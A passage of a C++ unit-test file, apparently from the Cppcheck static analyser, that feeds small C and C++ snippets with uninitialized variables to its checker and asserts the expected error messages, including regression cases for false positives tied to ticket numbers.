[legacyUninitvar]\\n\", errout_str());\n // extracttests.enable\n\n checkUninitVar(\"void foo() {\\n\"\n \" int *p;\\n\"\n \" realloc(p,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\" // #5240\n \" char *p = malloc(100);\\n\"\n \" char *tmp = realloc(p,1000);\\n\"\n \" if (!tmp) free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" int *p = NULL;\\n\"\n \" realloc(p,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // dereferencing uninitialized pointer..\n // extracttests.start: struct Foo { void abcd(); };\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo *p;\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: template struct Foo { void abcd(); };\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo *p;\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: struct Foo { void* a; };\n checkUninitVar(\"void f(Foo *p)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" p->a = malloc(4 * a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" *p = 135;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *p;\\n\"\n \" p[0] = 135;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *x;\\n\"\n \" int y = *x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int *x;\\n\"\n \" int &y(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int *y = &x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int *x;\\n\"\n \" int *&y = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int x = xyz::x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" a = 5 + a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" extern int a;\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: void bar(int);\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" bar(4 * a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" for (int x = 0; i < 10; x++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" for (int x = 0; x < 10; i++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:29]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" i = 0;\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int ar[10];\\n\"\n \" int i;\\n\"\n \" ar[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" int x, y;\\n\"\n \" x = (y = 10);\\n\"\n \" int z = y * 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void foo() {\\n\"\n \" int x, y;\\n\"\n \" x = ((y) = 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #3597\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" int b = 1;\\n\"\n \" (b += a) = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int a,b,c;\\n\"\n \" a = b = c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo p;\\n\"\n \" p.abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo p;\\n\"\n \" int x = p.abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types\n // extracttests.disable\n {\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" A ret;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" A ret;\\n\"\n \" return ret;\\n\"\n \"}\\n\",\n dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:12]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n }\n // extracttests.enable\n\n // #3916 - avoid false positive\n checkUninitVar(\"void f(float x) {\\n\"\n \" union lf { long l; float f; } u_lf;\\n\"\n \" float hx = (u_lf.f = (x), u_lf.l);\\n\"\n \"}\",\n dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" int x[10];\\n\"\n \" int *y = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int *y = &x;\\n\"\n \" *y = 0;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" char x[10], y[10];\\n\"\n \" char *z = x;\\n\"\n \" memset(z, 0, sizeof(x));\\n\"\n \" memcpy(y, x, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Handling >> and <<\n {\n checkUninitVar(\"int a() {\\n\"\n \" int ret;\\n\"\n \" std::cin >> ret;\\n\"\n \" ret++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int b) {\\n\"\n \" int a;\\n\"\n \" std::cin >> b >> a;\\n\"\n \" return a;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int ret[2];\\n\"\n \" std::cin >> ret[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int i) {\\n\"\n \" int a;\\n\"\n \" i >> a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int a() {\\n\"\n \" int ret;\\n\"\n \" int a = value >> ret;\\n\"\n \"}\\n\",\n dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:22]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\" // #3707\n \" Node node;\\n\"\n \" int x;\\n\"\n \" node[\\\"abcd\\\"] >> x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int a(FArchive &arc) {\\n\" // #3060 (initialization through operator<<)\n \" int *p;\\n\"\n \" arc << p;\\n\" // <- TODO initialization?\n \" return *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a() {\\n\"\n \" int ret;\\n\"\n \" a = value << ret;\\n\"\n \"}\\n\",\n dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:18]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n // #4320 says this is a FP. << is overloaded.\n checkUninitVar(\"int f() {\\n\"\n \" int a;\\n\"\n \" a << 1;\\n\" // <- TODO initialization?\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // #4673\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" std::cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(std::ostringstream& os) {\\n\"\n \" int a;\\n\"\n \" os << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" std::cout << 1 << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(std::ostringstream& os) {\\n\"\n \" int a;\\n\"\n \" os << 1 << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n {\n // #9422\n checkUninitVar(\"void f() {\\n\"\n \" char *p = new char[10];\\n\"\n \" std::cout << (void *)p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char p[10];\\n\"\n \" std::cout << (void *)p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = new char[10];\\n\"\n \" std::cout << p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #9696\n \" int *p = new int[10];\\n\"\n \" std::cout << p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" std::cout << i;\\n\"\n \" char c[10];\\n\"\n \" std::cout << c;\\n\"\n \" wchar_t w[10];\\n\"\n \" std::cout << w;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (error) Uninitialized variable: c [legacyUninitvar]\\n\"\n \"[test.cpp:7:16]: (error) Uninitialized variable: w [legacyUninitvar]\\n\",\n errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char p[10];\\n\"\n \" std::cout << p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char p[10];\\n\"\n \" std::cout << *p << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n }\n\n // #8494 : Overloaded & operator\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" a & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int a) {\\n\"\n \" int x;\\n\"\n \" a & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" ar & a & b & c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a() {\\n\" // asm\n \" int x;\\n\"\n \" asm();\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" int x[10];\\n\"\n \" struct xyz xyz1 = { .x = x };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a()\\n\"\n \"{\\n\"\n \" struct S *s;\\n\"\n \" s->x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" char *buf = malloc(100);\\n\"\n \" struct ABC *abc = buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"class Fred {\\n\"\n \"public:\\n\"\n \" FILE *f;\\n\"\n \" ~Fred();\\n\"\n \"}\\n\"\n \"Fred::~Fred()\\n\"\n \"{\\n\"\n \" fclose(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" ab(sizeof(xyz), &c);\\n\"\n \" if (c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" a = (f2(&c));\\n\"\n \" c++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int a)\\n\"\n \"{\\n\"\n \" if (a) {\\n\"\n \" char *p;\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // +=\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" c += 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" a[0] = 10 - a[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Uninitialized variable: a[1] [legacyUninitvar]\\n\", errout_str());\n\n // goto/setjmp/longjmp..\n checkUninitVar(\"void foo(int x)\\n\"\n \"{\\n\"\n \" long b;\\n\"\n \" if (g()) {\\n\"\n \" b =2;\\n\"\n \" goto found;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return;\\n\"\n \"\\n\"\n \"found:\\n\"\n \" int a = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" jmp_buf env;\\n\"\n \" int a;\\n\"\n \" int val = setjmp(env);\\n\"\n \" if(val)\\n\"\n \" return a;\\n\"\n \" a = 1;\\n\"\n \" longjmp(env, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // macro_for..\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int retval;\\n\"\n \" if (condition) {\\n\"\n \" for12(1,2) { }\\n\"\n \" retval = 1;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" retval = 2;\\n\"\n \" return retval;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" goto exit;\\n\"\n \" i++;\\n\"\n \"exit:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int x,y=0;\\n\"\n \"again:\\n\"\n \" if (y) return x;\\n\"\n \" x = a;\\n\"\n \" y = 1;\\n\"\n \" goto again;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #3873 (false positive)\n checkUninitVar(\"MachineLoopRange *MachineLoopRanges::getLoopRange(const MachineLoop *Loop) {\\n\"\n \" MachineLoopRange *&Range = Cache[Loop];\\n\"\n \" if (!Range)\\n\"\n \" Range = new MachineLoopRange(Loop, Allocator, *Indexes);\\n\"\n \" return Range;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4040 - False positive\n checkUninitVar(\"int f(int x) {\\n\"\n \" int iter;\\n\"\n \" {\\n\"\n \" union\\n\"\n \" {\\n\"\n \" int asInt;\\n\"\n \" double asDouble;\\n\"\n \" };\\n\"\n \"\\n\"\n \" iter = x;\\n\"\n \" }\\n\"\n \" return 1 + iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // C++11 style initialization\n checkUninitVar(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" int j{ i };\\n\"\n \" return j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5646\n checkUninitVar(\"float foo() {\\n\"\n \" float source[2] = {3.1, 3.1};\\n\"\n \" float (*sink)[2] = &source;\\n\"\n \" return (*sink)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #9296\n checkUninitVar(\"void f(void)\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int z = (x) & ~__round_mask(1, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(void)\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int z = (x) | ~__round_mask(1, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int __round_mask(int, int);\\n\"\n \"void f(void)\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" int* z = &x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_warn_once() {\n // extracttests.start: int a; int b;\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" a = x;\\n\"\n \" b = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n }\n\n // Handling of unknown types. Assume they are POD in C.\n void uninitvar_decl() {\n const char code[] = \"void f() {\\n\"\n \" dfs a;\\n\"\n \" return a;\\n\"\n \"}\";\n\n // Assume dfs is a non POD type if file is C++\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Assume dfs is a POD type if file is C\n checkUninitVar(code, dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n const char code2[] = \"struct AB { int a,b; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" return ab;\\n\"\n \"}\";\n checkUninitVar(code2);\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\"\n \"[test.cpp:4:12]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n checkUninitVar(code2, dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:12]: (error) Uninitialized variable: ab [legacyUninitvar]\\n\", errout_str());\n\n // Ticket #3890 - False positive for std::map\n checkUninitVar(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #3906 - False positive for std::vector pointer\n checkUninitVar(\"void f() {\\n\"\n \" std::vector *x = NULL;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // Ticket #6701 - Variable name is a POD type according to cfg\n constexpr char xmldata[] = \"\\n\"\n \"\"\n \" \"\n \"\";\n const Settings s = settingsBuilder(settings).libraryxml(xmldata).build();\n checkUninitVar(\"void f() {\\n\"\n \" Fred _tm;\\n\"\n \" _tm.dostuff();\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Ticket #7822 - Array type\n checkUninitVar(\"A *f() {\\n\"\n \" A a,b;\\n\"\n \" b[0] = 0;\"\n \" return a;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar3() { // #3844\n // avoid false positive\n checkUninitVar(\"namespace std _GLIBCXX_VISIBILITY(default)\\n\"\n \"{\\n\"\n \"_GLIBCXX_BEGIN_NAMESPACE_CONTAINER\\n\"\n \" typedef unsigned long _Bit_type;\\n\"\n \" struct _Bit_reference\\n\"\n \" {\\n\"\n \" _Bit_type * _M_p;\\n\"\n \" _Bit_type _M_mask;\\n\"\n \" _Bit_reference(_Bit_type * __x, _Bit_type __y)\\n\"\n \" : _M_p(__x), _M_mask(__y) { }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_bitop() {\n // extracttests.start: int a; int c;\n\n checkUninitVar(\"void foo() {\\n\"\n \" int b;\\n\"\n \" c = a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: b [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" int b;\\n\"\n \" c = b | a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: b [legacyUninitvar]\\n\", errout_str());\n }\n\n // if..\n void uninitvar_if() {\n // extracttests.start: struct Foo { void abcd(); };\n checkUninitVar(\"static void foo(int x)\\n\"\n \"{\\n\"\n \" Foo *p;\\n\"\n \" if (x)\\n\"\n \" p = new Foo;\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static void foo(int x)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" if (x==1);\\n\"\n \" if (x==2);\\n\"\n \" x = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int i;\\n\"\n \" if (1)\\n\"\n \" i = 11;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int bar(int x) {\\n\"\n \" int n;\\n\"\n \" if ( x == 23)\\n\"\n \" n = 1;\\n\"\n \" else if ( x == 11 )\\n\"\n \" n = 2;\\n\"\n \" return n;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" i = 22;\\n\"\n \" else\\n\"\n \" i = 33;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo(int x)\\n\" // #5503\n \"{\\n\"\n \" int i;\\n\"\n \" if (x < 2)\\n\"\n \" i = 22;\\n\"\n \" else if (x >= 2)\\n\" // condition is always true\n \" i = 33;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" i = 22;\\n\"\n \" else\\n\"\n \" {\\n\"\n \" char *y = {0};\\n\"\n \" i = 33;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" struct abc abc1 = (struct abc) { .a=0, .b=0, .c=0 };\\n\"\n \" i = 22;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" i = 33;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void foo(int x)\\n\"\n \"{\\n\"\n \" Foo *p;\\n\"\n \" if (x)\\n\"\n \" p = new Foo;\\n\"\n \" if (x)\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int n;\\n\"\n \" int condition;\\n\"\n \" if(a == 1) {\\n\"\n \" n=0;\\n\"\n \" condition=0;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" n=1;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if( n == 0) {\\n\"\n \" a=condition;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" C *c;\\n\"\n \" if (fun(&c));\\n\"\n \" c->Release();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" C c;\\n\"\n \" if (fun(&c.d));\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" if (a[0] = x){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (one())\\n\"\n \" i = 1;\\n\"\n \" else\\n\"\n \" return 3;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2207 - False positive\n checkUninitVar(\"void foo(int x) {\\n\"\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = 1;\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" b = (c - a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo()\\n\"\n \"{\\n\"\n \" int ret;\\n\"\n \" if (one())\\n\"\n \" ret = 1;\\n\"\n \" else\\n\"\n \" throw 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a)\\n\"\n \"{\\n\"\n \" int ret;\\n\"\n \" if (a == 1)\\n\"\n \" ret = 1;\\n\"\n \" else\\n\"\n \" XYZ ret = 2;\\n\" // XYZ may be an unexpanded macro so bailout the checking of \"ret\".\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f(int a, int b)\\n\"\n \"{\\n\"\n \" int 